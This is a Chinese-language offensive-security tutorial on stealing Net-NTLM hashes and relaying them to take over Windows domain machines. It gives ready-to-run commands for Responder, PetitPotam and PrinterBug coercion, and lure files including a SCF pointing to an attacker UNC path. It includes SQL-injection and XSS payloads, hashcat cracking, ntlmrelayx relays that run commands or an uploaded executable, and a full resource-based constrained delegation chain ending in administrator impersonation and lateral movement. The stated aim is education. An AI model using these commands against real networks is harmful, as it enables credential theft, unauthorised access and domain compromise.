一、前言

众所周知,NTLM hash是windows登录密码的一种hash,可从Windows系统中的SAM文件和域控的NTDS.dit文件中获得所有用户的hash(比如用Mimikatz提取),获取该hash之后,可进行爆破明文、哈希传递(PtH攻击)。

Net-NTLM的hash是基于NTLM的hash值经过一定的算法产生的,Net-NTLM主要用于在网络中的NTLM认证(比如smb共享)。当用户进行涉及Net-NTLM认证的访问时系统默认会先将本地NTLM hash去走一遍Net-NTLM验证。

Net-NTLM hash和NTLM hash不是一回事。Net-NTLM hash是Net-NTLM认证过程客户端第二次发送给服务端的包中的response字段。

二、获取net-ntlm

使用responder工具:


responder -I eth0 -wF -v

2.1 文件互动型

这一类型实战中大多靠钓鱼或者上传来植入,这些文件都需要用户点击、打开触发,挑几个来简单说下。

文件直接用github上的项目可以直接生成所有可发起ntlm认证的文件:

https://github.com/Greenwolf/ntlm_theft

2.1.1 desktop.ini文件

文件夹下存在desktop.ini隐藏文件,用于指定文件夹图标,默认不可见,取消勾选隐藏受保护的操作系统文件即可看到。

一般创建文件夹后会没有这个文件,通过更改一次文件夹图标即可生成:

将图标路径IconResource修改成攻击机的UNC路径:

在用户访问该文件夹时就会访问攻击机的UNC地址,发起NTLM认证请求:

实战利用:smb共享写文件,需要写入权限;

优点:无视防火墙;

缺点:1.需要用户查看文件图标才能触发;2.如果文件夹已存在desktop.ini会写不进去。

2.1.2 PDF文件

只有用adobe reader 打开PDF文档才能触发,打开后会有提示,不过此时已经能够收到net-ntlm:

2.1.3 scf文件

SCF(Shell Command File)文件可用于执行一组有限的操作,比如显示桌面、打开资源管理器等,SCF的IconFile也可用来访问指定的UNC路径,当用户访问时同样会发起NTLM请求,创建test.csf文件内容如下:


[Shell]Command=2IconFile=\\192.168.60.130\test.ico[Taskbar]Command=ToggleDesktop

2.1.4 office文件

新建一个world以压缩文件打开,修改\word\_rels\下document.xml.rels文件:

当用户使用office或wps打开此文档时,同样会请求修改的UNC资源,攻击机可捕获Net-NTLM Hash:

2.2 强制认证型

这类通常是利用系统命令或者系统、内网web中的漏洞,可以随时强制发起让攻击者抓取受害机的ntlm认证。这一类型在实战中作用很大。

2.2.1 系统命令

常用的就是dir \\xx.xx.xx.xx\test

其他的参考这篇文章所说的就行

内网渗透——针对hash的攻击-安全客 - 安全资讯平台

https://www.anquanke.com/post/id/177123#h2-4

这类通过系统命令获取netntlm的意义不太大,都能执行系统命令了,随便干点其他的也比这个强。

2.2.2 系统漏洞

1.打印机漏洞printbug

https://github.com/dirkjanm/krbrelayx
python3 printerbug.py /:@targetip attackip

获取机器的ntlm认证,走的是smb协议:

2.petitpotam漏洞

https://github.com/topotam/PetitPotam

使用petitpotam可以直接获取机器的ntlm认证,但是走的是smb协议


python3 PetitPotam.py -d  -u  -p  attackip targetip

3.privExchange漏洞

https://github.com/dirkjanm/PrivExchange

通过EWS接口获取机器的ntlm认证,走的是http协议,需要有安装exchange服务器。

2.2.3 web漏洞

xss

<script src="//xx.xx.xx.xx/xx">script>


限制太多:1.对浏览器有要求;2.对internet选项设置有要求;3.利用还需在内网启动DNS。

文件读取/包含,SSRF。

http://xx.xx.xx.xx/?file=\\xx.xx.xx.xx\test

xxe

file和php:filter都行

mysql注入

id=1' union select 1,2,load_file('\\\\xx.xx.xx.xx\\test'),4;%00

mssql注入

';declare @q varchar(99);set @q='\\xx.xx.xx.xx\test'; exec master.dbo.xp_dirtree @q

2.3 守株待兔型

这种类型主要靠被动监听网内的LLMNR/NBNS协议,WDAT.dat。

2.3.1 LLMNR/NBNS协议

windows域名解析顺序为:

☑️本地hosts文件(%windir%\System32\drivers\etc\hosts)

☑️DNS(缓存/服务器)

☑️链路本地多播名称解析(LLMNR)和NetBIOS名称服务器(NBNS)

当前面两种顺序解析失败后就会使用LLMNR解析,LLMNR是一个基于域名系统(DNS)数据包格式的协议,IPv4和IPv6的主机可以通过此协议对同一本地链路上的主机执行名称解析,其也被称为多播DNS或mDNS,多播地址分别如下:

从攻击角度来说,流程如下:

1.用户向错误的地址\testname发起SMB共享;

2.DNS服务器解析失败;

3.客户端进行LLMNR/NBNS;

4.攻击机监听到后,给客户端发送数据包sdafsdf11对应到IP是5.192.168.60.130(即攻击机IP),然后后续就走SMB的流程了。

Responder默认开启了这几项,可直接使用Responder来捕获。

当用户在浏览器随意输入域名输错的时候,会自动发出llmnr广播被responder捕获,默认是使用当前用户的ntlm认证:

其原因是在internet选项设置中,默认设置为本地区域自动登录:

如果不在本地或者设置用户密码提示,那么就会弹出登录框:

除了这个安全机制,如果是微软win11以上,即使默认是自动登录,但也会因为微软的安全认证弹出登录框。

2.3.2 WPAD

wpad 全称是Web Proxy Auto-Discovery Protocol ,通过让浏览器自动发现代理服务器,定位代理配置文件PAC(在下文也叫做PAC文件或者wpad.dat),下载编译并运行,最终自动使用代理访问网络。主要的利用方式是配合LLMNR/NBNS投毒。用户在访问网页时,首先会查询PAC文件的位置。查询的地址是WPAD/wpad.dat。如果没有在域内专门配置这个域名的话,那么DNS解析失败的话,就会使用LLMNR发起广播包询问WPAD对应的ip是多少,这个时候我们就可以进行LLMNR投毒和NBNS投毒。

受害者通过llmnr询问wpad主机在哪里,Responder通过llmnr投毒将wpad的ip指向Responder所在的服务器

受害者访问WPAD/wpad.dat,Responder就能获取到用户的net-ntlm hash(这个Responder默认不开,因为害怕会有登录提醒,不利于后面的中间人攻击,可以加上-F 开启)


responder -I eth0 -wF -v

在公司局域网挂着一天,还是能抓到很多受害者。有兴趣的小伙伴可以尝试一下。

wpad劫持成功也跟浏览器内核有关。不过这种方式很容易被封。

三、攻击利用

3.1 爆破

net-ntlm分为很多种版本,目前主流用的是v2,少量v1。

net-ntlm hash生成如下:

客户端向服务器发送 一个请求。 服务器接收到请求后,生成一个server Challenge字符串,发送回客户端。 客户端接收到Challenge后,使用当前申请认证用户的ntlm hash和Challenge 一起进行加密,生成net-ntlm hash,作为response发送给服务器。 服务器将自身存有的用户ntlm hash和challenge计算后进行比对,一致则通过校验。


Net-ntlm hash v1的格式为:username::hostname:LM response:NTLM response:challengeNet-ntlm hash v2的格式为:username::domain:challenge:HMAC-MD5:blob

v1可以直接获取到用户的ntlm,很容易利用。

v2只能使用hashcat+字典进行爆破


hashcat -m 5600 hash.txt Top10000.txt --force

3.2 中继(ntlm relay)

net-ntlm hash无法进行pth攻击,但是可以利用类似中间攻击的方法,中继到域内各种服务,实现攻击目的。

3.2.1 工作组中继

工作组的话因为各服务信任关系独立,很难进行中继,除非两台账号密码一致。工作组的机器默认启动了smb签名,也很难绕过。

稍微好点的是抓到net-ntlm中继回自己获取权限,这个难点要看有没有cve-2019-1384补丁。

还有windows的java应用在触发ssrf,xxe等http请求时,是可以把net-ntlm hash relay到自身,这就需要一台内网中用java开发的http应用来配合。

综上所述,实战中工作组的ntlm relay利用难度较大。

3.2.2 域中继

常见的域中继有中继smb,中继ldap,中继adcs,中继exchange。

3.2.2.1 中继SMB

smb中继要成功需要目标设置无签名校验,域里面只有域管默认是有签名的,其他域机器默认没开启签名。

通过responder工具Runfinger.py来查看:

工具可以用impacket下的smbrelayx.py和ntlmrelayx.py,responder下的MultiRelay.py,其中MultiRelay可以形成交互式shell。


impacket-smbrelayx -h xx.xx.xx.xx -c whoami

先使用普通的域用户来中继,利用失败,通过报错信息显示这里是通过调用RPC接口来实现RCE,但是普通用户权限太低,所以无法获取权限。

把域用户加入目标本地管理员组,成功获取权限。

其他工具也差不多用法,也是需要高权限。


impacket-ntlmrelayx -t smb://xx.xx.xx.xx -c whoami -smb2support
impacket-ntlmrelayx -t smb://xx.xx.xx.xx -e /root/a.exe -smb2support
python3 MultiRelay.py -t xx.xx.xx.xx -u ALL

这种方式实战利用比较困难,需要获取到高权限的用户net-ntlm,很难抓到域管的,可能会有抓到本地管理员的,如果账户密码通用的话可能可以中继到其他服务器上。最后还要看杀软和防火墙是否拦截。

3.2.2.2 中继LDAP

中继到ldap服务有2种攻击方式,一种是抓取到特权用户来创建dcsync权限的用户,这种用户同样难以抓取。

另一种通过ldap中继机器账户使用基于资源的约束委派(rbcd)获取目标权限。

这种我个人认为实用性相对高点,条件也并不太苛刻,接下来就重点说下。

必要条件:

1.域控版本支持rbcd(win2012以上),且没有打上最新的更新补丁cve-2019-1384;

2.已知1个域账户和密码,并且该账号可以添加域内机器账号;

3.最好能出网,不能出网在内网中有一台能使用impacket的机器;

4.域防火墙关闭,祈祷杀软不拦截(实验用的cifs大概率被拦截);

5.高权限账号没有被禁止委派(默认是可以委派的)。

其他灵活条件:

如果目标打上最新补丁,那需要在内网中找到一台能通过http获取机器账户ntlm认证的漏洞,比如system默认启动的IIS服务,javahttp的xxe,ssrf。或者中继exchange,exchange服务器机器账号默认是特权账户。

攻击视图:

简述下原理:

Windows Server 2012中新加入了基于kerberos资源的约束委派(rbcd),它不需要域管理员对其进行配置,将配置委派的权限直接给了提供服务的机器。服务机器可以用自己的机器账户配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置哪些账户是可信的。简而言之:如果我们修改该属性的账户是我们可控的,那就可以伪造任意用户来获取该机器的权限,因为服务代表用户获得针对服务自身的ST这个过程,服务是不需要用户凭据的。

过程:

使用impacket中的addcomputer工具,以普通域用户mars的身份在域中添加一个名为evil$的计算机账户,密码是nihao321!


impacket-addcomputer 3rd.one/mars:nihao123! -computer-name evil\$ -computer-pass nihao321! -dc-ip 192.168.41.100

添加完后在恶意服务器上启动ntlmrelayx.py监听


impacket-ntlmrelayx -t ldap://192.168.41.100 --remove-mic --delegate-access --escalate-user evil$

使用petitpotam.py或printbug.py发起强制申请


python3 PetitPotam.py -d 3rd.one -u mars -p nihao123! 192.168.41.41 192.168.41.46python3 printerbug.py 3rd.one/mars:nihao123!@192.168.41.46 192.168.41.41

此时ntlmrelayx截获到机器账户的net-ntlm hash认证,中继到域控的ldap服务,让T1的机器账户修改msDS-AllowedToActOnBehalfOfOtherIdentity属性。

这里没成功,原因是petitpotam强制用的认证是走的smb协议,ldap服务器要求客户端签名并通过NTLM MIC保证NTLM消息的完整性,使用--remove-mic 利用cve-2019-1384漏洞可以绕过这个防护机制。但是因为我使用的测试机是2019,所以无法绕过该机制,也无法中继成功。

换成winserver2016(主机名T2)来测试,不做安全更新,这里就成功中继到了。

这时候查看t2主机信息,他的msDS-AllowedToActOnBehalfOfOtherIdentity属性被设置成evil$机器的SID,说明允许evil$代表用户访问T2的主机资源。

接下来我们再用s4u协议申请T2的高权限票据,大致过程如下:

s4u2self:先使用evil拿自己的tgt票据请求一张访问evil的ST,且该ST的身份是域管administrator,而这张ST是用evil的hash加密的。

s4u2proxy:把s4u2self获取到的ST作为验证信息再去请求一张用于访问T2机器CIFS spn的ST票据。

最后拿这张票据就可以去通过操作smb服务执行命令了。

以上过程impacket已经做好,直接用工具命令就行。


impacket-getST -dc-ip 192.168.41.100 3rd.one/evil$:nihao321! -spn cifs/T2.3rd.one -impersonate administrator

获得服务票据以后就可以直接登录T2服务器了。


export KRB5CCNAME=administrator.ccacheimpacket-smbexec -target-ip 192.168.41.46 t2.3rd.one -no-pass -k

以上是模拟的CIFS服务,这种基于smbexec来执行的权限,想都不用想肯定稳被拦的。

尝试换成winrm和powershell来实现横向,看拦截不拦截。winrm需要的服务是http和wsman。要求目标开启winrm服务和5985端口,这些服务默认是开启的。

换成rubeus来申请这两个服务的ST:

Rubeus.exe s4u /user:evil$ /rc4: 648f3586c5e4014ebf3c05f7ad44db29 /domain:3rd.one /msdsspn:http/T2.3rd.one /impersonateuser:administrator >1.txtRubeus.exe s4u /user:evil$ /rc4: 648f3586c5e4014ebf3c05f7ad44db29 /domain:3rd.com /msdsspn:wsman/T2.3rd.one /impersonateuser:administrator>2.txtrc4:后面跟账户的ntlm hash

然后将这两个命令生成的ST票据导入:


Rubeus.exe  ptt  /ticket:票据

查看klist:

打开powershell连接:


New-PSSession -Name Priv -ComputerName T2.3rd.oneEnter-PSSession -Name Priv

说几个问题。

1.为什么中继要用rbcd的方式?

⨠ 因为使用petitpotam就能获取的T2服务器的机器账户net-ntlm认证,机器账户有权限修改自己的属性,中继到域控中将关键属性写入我们可以控制的账户。

2.为什么要一个已知的域用户?

⨠ 1)petitpotam和printbug需要用户来发起;

⨠ 2)在s4u2self阶段申请ST需要TGT,如果用T2服务器的机器账户,我们不知道这个机器账户的密码或者hash,没有办法去申请TGT。所以需要建立一个已知的机器账户。默认域控的ms-DS-MachineAccountQuota属性设置允许所有域内凭据向一个域添加多达10个计算机帐户。这个凭据可以是域内的用户账户、服务账户、机器账户,相对来说域用户是最好获取的。

3.为什么需要新建机器账户不能直接用域用户来委派?

⨠ 因为这个委派是建立在s4u协议上,s4u2self是账户向自身请求ST,意味着该账户自身必须具有spn,新的机器账户默认带有host/domain这个spn。host实际上是一个spn合集,其中包含了我们常用的cifs,http,ldap,netlogon等等。

4.最后的权限为什么看起来是域管但实际上是本地管理员权限?

⨠ 因为rbcd实际上模拟的是高权限用户去访问本地的服务,获得的也只是本地相关服务的ST。

做完实验可以发现,重点是让目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性能设置为我们evil的SID,所以我们才要通过中继T2的ntlm hash认证让他自己写入。

除了机器本身自己以外,还有谁有写入的权限呢?

答案是将机器拉入域的用户,也就是机器的mS-DS-CreatorSID属性

换句话说,只要我们能抓到某个域用户的ntlm认证,我们就能通过中继进行rbcd攻击获取通过该域用户拉入域的机器权限。如果能爆破该用户的密码就更好了,都不需要中继,直接连ldap进行攻击。

很可惜impacket还不支持这种功能,需要自己来改实现。当然实战中和模拟环境还是有很大不同,实战中小型域环境可能都是域管拉入,大型域环境可能有专门的加域账户。

还有其他的中继dcsync,中继adcs,中继exchange大致利用也差不多,主要还是看如何去触发ntlm认证。网上有很多教程就不在这里说了。

四、收尾

每种攻击手法都不是万能,今天的内容实战中也要综合考虑网络环境、信息搜集、目标防护等影响,不一定实战中就用得上,只是作为一种知识储备给大家分享一下。重要的是过程,在过程中可以更加深刻的理解域内各个元素的联系和自身的功能原理,比如我们上面的实验涵盖kerberos认证过程,ntlm认证过程,基于资源约束委派攻击原理,横向移动等知识点,充分理解这些才能帮助我们在渗透中事半功倍。

参考

https://book.hacktricks.xyz/windows-hardening/ntlm/places-to-steal-ntlm-creds
https://blog.ateam.qianxin.com/post/wei-ruan-bu-ren-de-0day-zhi-yu-nei-ben-di-ti-quan-lan-fan-qie/
https://daiker.gitbook.io/windows-protocol/ntlm-pian/5
https://daiker.gitbook.io/windows-protocol/kerberos/2
https://xie1997.blog.csdn.net/article/details/105135184
https://www.anquanke.com/post/id/177123